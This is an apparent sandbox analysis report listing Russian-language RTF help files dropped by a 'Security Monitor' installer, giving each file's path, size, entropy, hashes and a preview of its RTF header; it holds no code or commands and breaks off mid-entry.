SHA1:	E21753F9D29706ECCD6371C10A0CE598C80C64D1
SHA-256:	508DC3EFA99E34F0865225A43C9D2554169D4D9C9D1CE5C1CA4FEB41958DE1B5
SHA-512:	C8FCF769BA2F155F8BAF4A9BF3E5D93377191EE7C02BCF5ED9E8158C10BC82B1AB344B9788D1FE81A73C18B0E2E10F0DD69C2C2400216878FA34EEDAAA824709
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-VIN6N.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	54989
Entropy (8bit):	5.004403089561587
Encrypted:	false
SSDEEP:	1536:2aqAse39REjyW0ywGa2eI9Cj+uFECVCjuizCaIizg8zku0+zkuQPChJsCGJ7CdJ+:2B/i+uFEwmuizbIizg8zku0+zkugsGLZ
MD5:	D8DFDDE0D2E5EE7768A3D91D9CD9D014
SHA1:	4C1B8C8205715F8858FA089D887D2A49DC89EC77
SHA-256:	E3409500600560293AC4C89EE3FFB02B854E9CE26926C9C592DB11979288C0BA
SHA-512:	161A64A5B4F8C877661DE001A5293831D351E5294AF76F66441B6DF13AAF5976506ADD1A17F0EAE5126B72F1096AE9A745F1042BD6F9D0AA880F24C726027DF9
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\keyboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	45355
Entropy (8bit):	5.032998271538751
Encrypted:	false
SSDEEP:	768:qqeXxd/1Ca9DGi3w2EHnT2njX8x3FXbv4CD5klkhuhr7RVRatot7kzkAkqkVk2gJ:qqoC8IA9E
MD5:	37B0C0E48F0AF77161430D5DE894A950
SHA1:	9D27E00A6B141CA123DA1E9E0C7C768CB89910E0
SHA-256:	61FCA2437288DDC4692FE93CCE90C3C72C0ADDBD08C5662F391F6EF694B27256
SHA-512:	AC5463F888305FA6BBAB57CA80570B51249A2719C8A1B116B4EB574EEB2D724718CC676092CEA9241F3B72C2B2D0C63137553A7CE4DD8A871ED46E37D63FFEC1
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\law_warning.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	34281
Entropy (8bit):	5.012287301852251
Encrypted:	false
SSDEEP:	384:2aFkTZ0dW2OTYn/akt0LL32En4leo75Y3kpTBLRA6AlEayv:2aFkA0LL32EhZ/6A9O
MD5:	EDED564ACC58819DE344EDCF72FC398B
SHA1:	5BE5194C6D1F83EB91B5ADC4F165BF49EA393FD1
SHA-256:	A036B3EA04F1F8A0C6DF8948FD2ECE8422AF95438DF6FE40AF14D46C457C387A
SHA-512:	3AC8B47B305149067386772E289302033EAB223D1C1B64474268B6DE8BE444377640BCB0F852DA53FBC0B7B17F71EA84AA2CA360F9D6CB938C502B1F689A9B7F
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\logging.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	53477
Entropy (8bit):	4.993468879548167
Encrypted:	false
SSDEEP:	768:q4eDwJeLCdAT2njX8x3l7G5V5V5h5G5P5N58UkbdSLVMVIs2TFDtyZ12TXW++xUu:q4ZVFIA9b
MD5:	E70B7387C930D96F979C15DEF4A0EF82
SHA1:	9885403B2230DB0BC89F6C12A5326C28DD5C0ABB
SHA-256:	2ECA499E76C966798F73BFF750D868951A1F337854402446D060919F2D10CE87
SHA-512:	D37DA2B1EBF5808CBBE89163FDEEBB96E842F5FD3CC4A7523F478CA1433BF1F826F44EB219E397F8A427B4884A1987BF435D19F5C809BD06B1E7600E4FD5980C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\noPRO.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	59300
Entropy (8bit):	4.973759890149894
Encrypted:	false
SSDEEP:	768:qqe+2VXLcpErLVYZx1M8j5g5V5V5h5G5P5N5hBcqtqYepAkVZEdvI9TMMf4fPOj/:qqqcshf4fH6IA9h
MD5:	00483C12EB7B2424B5A2C264DBFBAD6F
SHA1:	3038291DC4B40B6C269A24727F175504F09DD532
SHA-256:	BC9B42D7D66A88398A3FFEAB5790818CCB2DF9FA4B24FC8524F86F23930A8ED4
SHA-512:	04B58420762D90E1564AB6635B718FA47CB71795B743CC42FBC7B54B01D6243083C39A99B9A276F9290BC7FC4989AE0970DB35DBDBAAC92E9B80B69FBEC71693
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\noURL.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	80841
Entropy (8bit):	4.938561816408635
Encrypted:	false
SSDEEP:	768:qqFy4Ix1ELz8lH0RvI9uMT98i3w2EH6mlH0RvI96M0+IOq4e4ewuwPkvEaUuuSD8:qqJC08J+nMVIA94
MD5:	22F333AB0A5F3E545899218EE216E751
SHA1:	50AB0BCFD2E86F7FD771C7CB18346AEACF834557
SHA-256:	5C6BC98349F242C511354DE1383E1F4C1D294118E300CF9DD5B0A8C937A17DD0
SHA-512:	2FD3FCFC64C9E870915CE1D8830E0F69031370DA502C4158D212F42FCAFF55BD0CBBFB915AD94A193BB7DEE8426167669FBD87C932BCE4D1591D2784744EFBB5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\norton_warning.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	54989
Entropy (8bit):	5.004403089561587
Encrypted:	false
SSDEEP:	1536:2aqAse39REjyW0ywGa2eI9Cj+uFECVCjuizCaIizg8zku0+zkuQPChJsCGJ7CdJ+:2B/i+uFEwmuizbIizg8zku0+zkugsGLZ
MD5:	D8DFDDE0D2E5EE7768A3D91D9CD9D014
SHA1:	4C1B8C8205715F8858FA089D887D2A49DC89EC77
SHA-256:	E3409500600560293AC4C89EE3FFB02B854E9CE26926C9C592DB11979288C0BA
SHA-512:	161A64A5B4F8C877661DE001A5293831D351E5294AF76F66441B6DF13AAF5976506ADD1A17F0EAE5126B72F1096AE9A745F1042BD6F9D0AA880F24C726027DF9
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\scheduler.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	42635
Entropy (8bit):	5.046553170453071
Encrypted:	false
SSDEEP:	768:qqXqx1fDCcJJrNgVVhGPNhHwGNjm+epb/Vbc9DuUoU8Gmgflx6Z5zZ/6A9t:qq4e/DIA9t
MD5:	60B7129A13E0CE865F60703FC49D7E1D
SHA1:	96BDB21054BEE9F42FEF53360847FCE57AE3269B
SHA-256:	C68038C41212344C10D0194438D8BF503F3CAB8ED9AEA1B24E91EF989CC14923
SHA-512:	022BCBD14748D9C947F7B93EAC6D38D59F5BD39DFF22E62E16F1C5EC6FEF50BECA4AADE8CFBF745AF7055CEEB91F3DBB7D42117FADBE7149F627262E9654C66C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panos

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\screenshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	50749
Entropy (8bit):	5.025992337478631
Encrypted:	false
SSDEEP:	768:qqFywxd/cCcJ+Lj5g5V5V5h5G5P5N5hBcqtqYepnnbxa10C0O0N0e0x0b0o0g0sq:qq/MlIA9E
MD5:	4091E666BD6CCC6971AE0F510870DB42
SHA1:	E21753F9D29706ECCD6371C10A0CE598C80C64D1
SHA-256:	508DC3EFA99E34F0865225A43C9D2554169D4D9C9D1CE5C1CA4FEB41958DE1B5
SHA-512:	C8FCF769BA2F155F8BAF4A9BF3E5D93377191EE7C02BCF5ED9E8158C10BC82B1AB344B9788D1FE81A73C18B0E2E10F0DD69C2C2400216878FA34EEDAAA824709
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\settings.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	48100
Entropy (8bit):	5.025830167724142
Encrypted:	false
SSDEEP:	768:q4Fknx1eiCUYCmpNM2UrPGsGx7TYlDIUldgOQrrFrf7IPWj2sqiHTLb3ybVaGMbQ:q4giYIA9b
MD5:	89ED020D20DA91E6E1F6AF7A3A4C3ED8
SHA1:	B387B9E8EE99429E41090937A41D60564CA50A5A
SHA-256:	29857E5F65A83CB250D7374A4AAFBCC1159C4318942F5044C9C12534A1962B41
SHA-512:	1CBFA048F043D784062288EC39E5A89F74EF418CE6FBA1C2FFA32555B993C446CAC8ADB63B05D2E60FF3DB65735E55664C954D84AC4F21DDB94542BFE536F6BF
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\siteblock.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	48379
Entropy (8bit):	4.996608771533116
Encrypted:	false
SSDEEP:	768:q4e94jXjOcPI0QhhiLV9xB3T7JileOhvbNbZWvsn53NB0DNZGky8OF5x1A58GaQg:q49OUnIIA9p
MD5:	B8EA7A3C55CE02A64BA0AF23B9B85E3E
SHA1:	8DFFB3874BBD2EA54BE1E6D87356126B1E73F290
SHA-256:	792111EFE4C09E3F68D0E2A5344ACC12D63B351BAE5F1654FCC36F2471ED7667
SHA-512:	A8A46F16EC9F8CE3670B171DD90F84F9D1F6CD15FC0428E3DB95ADB4AE302D0A82FF837A9C1DD32EAEEB7D8A58F942DB79461FB5BA36C869CBF4EA7210747007
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\snapshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	48785
Entropy (8bit):	5.035435060271824
Encrypted:	false
SSDEEP:	768:qqFy4a4jeDCcJ+Lj5g5V5V5h5G5P5N5hBcqtqYepnRbK3j10C0O0N0e0x0b0o0g4:qqJ9CxIA92
MD5:	DC2C7249084FEEBFE9F1E4FB3491C9EA
SHA1:	B1F39695D01244B8D85F9FE40D24B809759DB0FA
SHA-256:	D5EE096B03118AA2E7032A80EAD45F1C1D180889E5C0D9140F5C7D999698EFBD
SHA-512:	6B83FF30438154C6D58F7BA35FB6D01DA65D3B696340B522653DB3AEAD830DF67CEF61B1729197E24E8A160558418CBF639E5F31D6D2E990527C1920376FCE0B
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\sound.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	42713
Entropy (8bit):	5.047774415882159
Encrypted:	false
SSDEEP:	768:qqXqx1fDCcJJrNgVVhGPNhHwGNjm+epbPybO9FO0I0cmG8/FRaZHIZ/6A95:qq4ePXIA95
MD5:	FC56B09D7F10AE95E575F472B2CE9AB8
SHA1:	806D290A16EE633A1D79B8D916FE00D508ECD51D
SHA-256:	75B89487ADE95BD0450DA43B8978AB7E37AD22CAA7DEDCB9D599EEA0EE0E8A04
SHA-512:	7B0948BCE8EE5AC36E7C91D3405F041973B6F9A6D316E64454E9E6A3B2A316CF65C03D1CE7041B9DD5FBEA3F94F175138735336D71CA927FB68D66D92413CC2C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panos

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\video.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44589
Entropy (8bit):	5.042107887527953
